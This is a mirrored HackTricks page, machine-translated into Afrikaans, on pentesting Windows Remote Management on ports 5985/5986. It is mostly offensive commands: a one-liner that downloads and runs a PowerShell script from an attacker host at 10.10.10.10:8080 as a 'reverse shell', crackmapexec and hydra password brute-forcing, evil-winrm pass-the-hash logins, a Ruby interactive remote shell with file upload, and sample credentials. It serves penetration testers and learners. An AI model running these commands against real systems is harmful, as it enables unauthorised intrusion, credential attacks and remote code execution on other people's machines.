mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-18 06:58:27 +00:00
335 lines
15 KiB
Markdown
335 lines
15 KiB
Markdown
# 5985,5986 - Pentesting WinRM
|
||
|
||
{% hint style="success" %}
|
||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Sluit aan by die [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om te kommunikeer met ervare hackers en bug bounty jagters!
|
||
|
||
**Hacking Inligting**\
|
||
Betrek jouself met inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||
|
||
**Regte Tyd Hack Nuus**\
|
||
Bly op hoogte van die vinnige hacking wêreld deur middel van regte tyd nuus en insigte
|
||
|
||
**Laaste Aankondigings**\
|
||
Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings
|
||
|
||
**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
|
||
|
||
## WinRM
|
||
|
||
[Windows Remote Management (WinRM)](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx) word beklemtoon as 'n **protokol deur Microsoft** wat die **afgeleë bestuur van Windows stelsels** deur HTTP(S) moontlik maak, met SOAP in die proses. Dit is fundamenteel aangedryf deur WMI, wat homself as 'n HTTP-gebaseerde koppelvlak vir WMI operasies aanbied.
|
||
|
||
Die teenwoordigheid van WinRM op 'n masjien maak dit moontlik vir eenvoudige afgeleë administrasie via PowerShell, soortgelyk aan hoe SSH werk vir ander bedryfstelsels. Om te bepaal of WinRM werksaam is, word dit aanbeveel om na die opening van spesifieke poorte te kyk:
|
||
|
||
* **5985/tcp (HTTP)**
|
||
* **5986/tcp (HTTPS)**
|
||
|
||
'n Geopende poort uit die lys hierbo dui aan dat WinRM opgestel is, wat pogings om 'n afgeleë sessie te begin, toelaat.
|
||
|
||
### **Begin 'n WinRM Sessies**
|
||
|
||
Om PowerShell vir WinRM te konfigureer, kom Microsoft se `Enable-PSRemoting` cmdlet in die spel, wat die rekenaar opstel om afgeleë PowerShell opdragte te aanvaar. Met verhoogde PowerShell toegang kan die volgende opdragte uitgevoer word om hierdie funksionaliteit in te skakel en enige gasheer as vertrou te verklaar:
|
||
```powershell
|
||
Enable-PSRemoting -Force
|
||
Set-Item wsman:\localhost\client\trustedhosts *
|
||
```
|
||
Hierdie benadering behels die toevoeging van 'n wildcard aan die `trustedhosts` konfigurasie, 'n stap wat versigtige oorweging vereis weens die implikasies daarvan. Dit word ook opgemerk dat dit nodig mag wees om die netwerk tipe van "Public" na "Work" te verander op die aanvaller se masjien.
|
||
|
||
Boonop kan WinRM **afgeleë geaktiveer** word met die `wmic` opdrag, soos hieronder gedemonstreer:
|
||
```powershell
|
||
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
|
||
```
|
||
Hierdie metode stel die afstandsopstelling van WinRM in staat, wat die buigsaamheid in die bestuur van Windows-masjiene van ver verbeter.
|
||
|
||
### Toets of geconfigureer
|
||
|
||
Om die opstelling van jou aanvalmasjien te verifieer, word die `Test-WSMan` opdrag gebruik om te kontroleer of die teiken WinRM korrek geconfigureer het. Deur hierdie opdrag uit te voer, moet jy verwag om besonderhede te ontvang rakende die protokolweergawe en wsmid, wat 'n suksesvolle konfigurasie aandui. Hieronder is voorbeelde wat die verwagte uitvoer vir 'n geconfigureerde teiken teenoor 'n ongeconfigureerde een demonstreer:
|
||
|
||
* Vir 'n teiken wat **is** korrek geconfigureer, sal die uitvoer soos volg lyk:
|
||
```bash
|
||
Test-WSMan <target-ip>
|
||
```
|
||
Die antwoord moet inligting bevat oor die protokolweergawe en wsmid, wat aandui dat WinRM korrek opgestel is.
|
||
|
||
![](<../.gitbook/assets/image (582).png>)
|
||
|
||
* Omgekeerd, vir 'n teiken **nie** geconfigureer vir WinRM, sou dit lei tot geen sulke gedetailleerde inligting nie, wat die afwesigheid van 'n behoorlike WinRM-opstelling beklemtoon.
|
||
|
||
![](<../.gitbook/assets/image (458).png>)
|
||
|
||
### Voer 'n opdrag uit
|
||
|
||
Om `ipconfig` op 'n teikenmasjien op afstand uit te voer en die uitvoer te sien, doen:
|
||
```powershell
|
||
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
|
||
```
|
||
![](<../.gitbook/assets/image (151).png>)
|
||
|
||
Jy kan ook **'n opdrag van jou huidige PS-konsol uitvoer via** _**Invoke-Command**_. Neem aan dat jy plaaslik 'n funksie genaamd _**enumeration**_ het en jy wil dit **op 'n afstand rekenaar uitvoer**, jy kan doen:
|
||
```powershell
|
||
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
|
||
```
|
||
### Voer 'n Skrip uit
|
||
```powershell
|
||
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
|
||
```
|
||
### Kry omgekeerde dop
|
||
```powershell
|
||
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
|
||
```
|
||
### Kry 'n PS-sessie
|
||
|
||
Om 'n interaktiewe PowerShell-skal te kry, gebruik `Enter-PSSession`:
|
||
```powershell
|
||
#If you need to use different creds
|
||
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
|
||
## Note the ".\" in the suername to indicate it's a local user (host domain)
|
||
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
|
||
|
||
# Enter
|
||
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
|
||
## Bypass proxy
|
||
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
|
||
# Save session in var
|
||
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
|
||
Enter-PSSession $sess
|
||
## Background current PS session
|
||
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)
|
||
```
|
||
![](<../.gitbook/assets/image (1009).png>)
|
||
|
||
**Die sessie sal in 'n nuwe proses (wsmprovhost) binne die "slagoffer" loop**
|
||
|
||
### **WinRM Dwing Om Te Oopmaak**
|
||
|
||
Om PS Remoting en WinRM te gebruik, maar die rekenaar is nie geconfigureer nie, kan jy dit aktiveer met:
|
||
```powershell
|
||
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
|
||
```
|
||
### Stoor en Herstel sessies
|
||
|
||
Dit **sal nie werk nie** as die **taal** in die afstandrekenaar **beperk** is.
|
||
```powershell
|
||
#If you need to use different creds
|
||
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
|
||
## Note the ".\" in the suername to indicate it's a local user (host domain)
|
||
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
|
||
|
||
#You can save a session inside a variable
|
||
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
|
||
#And restore it at any moment doing
|
||
Enter-PSSession -Session $sess1
|
||
```
|
||
Binnen hierdie sessies kan jy PS-skripte laai met behulp van _Invoke-Command_
|
||
```powershell
|
||
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
|
||
```
|
||
### Foute
|
||
|
||
As jy die volgende fout vind:
|
||
|
||
`enter-pssession : Verbinding met die afstandsbediener 10.10.10.175 het gefaal met die volgende foutboodskap : Die WinRM-kliënt kan die versoek nie verwerk nie. As die verifikasieskema verskil van Kerberos, of as die kliëntrekenaar nie aan 'n domein gekoppel is nie, moet HTTPS-vervoer gebruik word of die bestemmingsmasjien moet by die TrustedHosts-konfigurasie-instelling gevoeg word. Gebruik winrm.cmd om TrustedHosts te konfigureer. Let daarop dat rekenaars in die TrustedHosts-lys moontlik nie geverifieer is nie. Jy kan meer inligting daaroor kry deur die volgende opdrag uit te voer: winrm help config. Vir meer inligting, sien die about_Remote_Troubleshooting Help onderwerp.`
|
||
|
||
Die poging op die kliënt (inligting van [hier](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
|
||
```ruby
|
||
winrm quickconfig
|
||
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
|
||
```
|
||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en bug bounty jagters te kommunikeer!
|
||
|
||
**Hacking Inligting**\
|
||
Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||
|
||
**Regte Tyd Hack Nuus**\
|
||
Bly op hoogte van die vinnige hacking wêreld deur middel van regte tyd nuus en insigte
|
||
|
||
**Laaste Aankondigings**\
|
||
Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings
|
||
|
||
**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
|
||
|
||
## WinRM verbinding in linux
|
||
|
||
### Brute Force
|
||
|
||
Wees versigtig, brute-forcing winrm kan gebruikers blokkeer.
|
||
```ruby
|
||
#Brute force
|
||
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||
|
||
#Just check a pair of credentials
|
||
# Username + Password + CMD command execution
|
||
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
|
||
# Username + Hash + PS command execution
|
||
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
|
||
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
|
||
```
|
||
### Gebruik evil-winrm
|
||
```ruby
|
||
gem install evil-winrm
|
||
```
|
||
Lees **dokumentasie** op sy github: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
|
||
```ruby
|
||
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
|
||
```
|
||
Om evil-winrm te gebruik om met 'n **IPv6 adres** te verbind, skep 'n inskrywing binne _**/etc/hosts**_ wat 'n **domeinnaam** aan die IPv6 adres toewys en verbind met daardie domein.
|
||
|
||
### Pas die hash met evil-winrm aan
|
||
```ruby
|
||
evil-winrm -u <username> -H <Hash> -i <IP>
|
||
```
|
||
![](<../.gitbook/assets/image (680).png>)
|
||
|
||
### Gebruik van 'n PS-docker masjien
|
||
```
|
||
docker run -it quickbreach/powershell-ntlm
|
||
$creds = Get-Credential
|
||
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
|
||
```
|
||
### Gebruik van 'n ruby-skrip
|
||
|
||
**Kode onttrek van hier:** [**https://alamot.github.io/winrm\_shell/**](https://alamot.github.io/winrm\_shell/)
|
||
```ruby
|
||
require 'winrm-fs'
|
||
|
||
# Author: Alamot
|
||
# To upload a file type: UPLOAD local_path remote_path
|
||
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
|
||
# https://alamot.github.io/winrm_shell/
|
||
|
||
|
||
conn = WinRM::Connection.new(
|
||
endpoint: 'https://IP:PORT/wsman',
|
||
transport: :ssl,
|
||
user: 'username',
|
||
password: 'password',
|
||
:no_ssl_peer_verification => true
|
||
)
|
||
|
||
|
||
class String
|
||
def tokenize
|
||
self.
|
||
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
|
||
select {|s| not s.empty? }.
|
||
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
|
||
end
|
||
end
|
||
|
||
|
||
command=""
|
||
file_manager = WinRM::FS::FileManager.new(conn)
|
||
|
||
|
||
conn.shell(:powershell) do |shell|
|
||
until command == "exit\n" do
|
||
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
|
||
print(output.output.chomp)
|
||
command = gets
|
||
if command.start_with?('UPLOAD') then
|
||
upload_command = command.tokenize
|
||
print("Uploading " + upload_command[1] + " to " + upload_command[2])
|
||
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
|
||
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
|
||
end
|
||
command = "echo `nOK`n"
|
||
end
|
||
output = shell.run(command) do |stdout, stderr|
|
||
STDOUT.print(stdout)
|
||
STDERR.print(stderr)
|
||
end
|
||
end
|
||
puts("Exiting with code #{output.exitcode}")
|
||
end
|
||
```
|
||
## Shodan
|
||
|
||
* `port:5985 Microsoft-HTTPAPI`
|
||
|
||
## Verwysings
|
||
|
||
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
|
||
|
||
## HackTricks Outomatiese Opdragte
|
||
```
|
||
Protocol_Name: WinRM #Protocol Abbreviation if there is one.
|
||
Port_Number: 5985 #Comma separated if there is more than one.
|
||
Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out
|
||
|
||
Entry_1:
|
||
Name: Notes
|
||
Description: Notes for WinRM
|
||
Note: |
|
||
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
|
||
|
||
sudo gem install winrm winrm-fs colorize stringio
|
||
git clone https://github.com/Hackplayers/evil-winrm.git
|
||
cd evil-winrm
|
||
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’
|
||
|
||
https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/
|
||
|
||
ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
|
||
^^so you can upload binary's from that directory or -s to upload scripts (sherlock)
|
||
menu
|
||
invoke-binary `tab`
|
||
|
||
#python3
|
||
import winrm
|
||
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
|
||
print(s.run_cmd('ipconfig'))
|
||
print(s.run_ps('ipconfig'))
|
||
|
||
https://book.hacktricks.xyz/pentesting/pentesting-winrm
|
||
|
||
Entry_2:
|
||
Name: Hydra Brute Force
|
||
Description: Need User
|
||
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
|
||
```
|
||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en bug bounty jagters te kommunikeer!
|
||
|
||
**Hacking Inligting**\
|
||
Betrek jouself by inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||
|
||
**Regte Tyd Hack Nuus**\
|
||
Bly op hoogte van die vinnige hacking wêreld deur middel van regte tyd nuus en insigte
|
||
|
||
**Laaste Aankondigings**\
|
||
Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings
|
||
|
||
**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
|
||
|
||
{% hint style="success" %}
|
||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Ondersteun HackTricks</summary>
|
||
|
||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|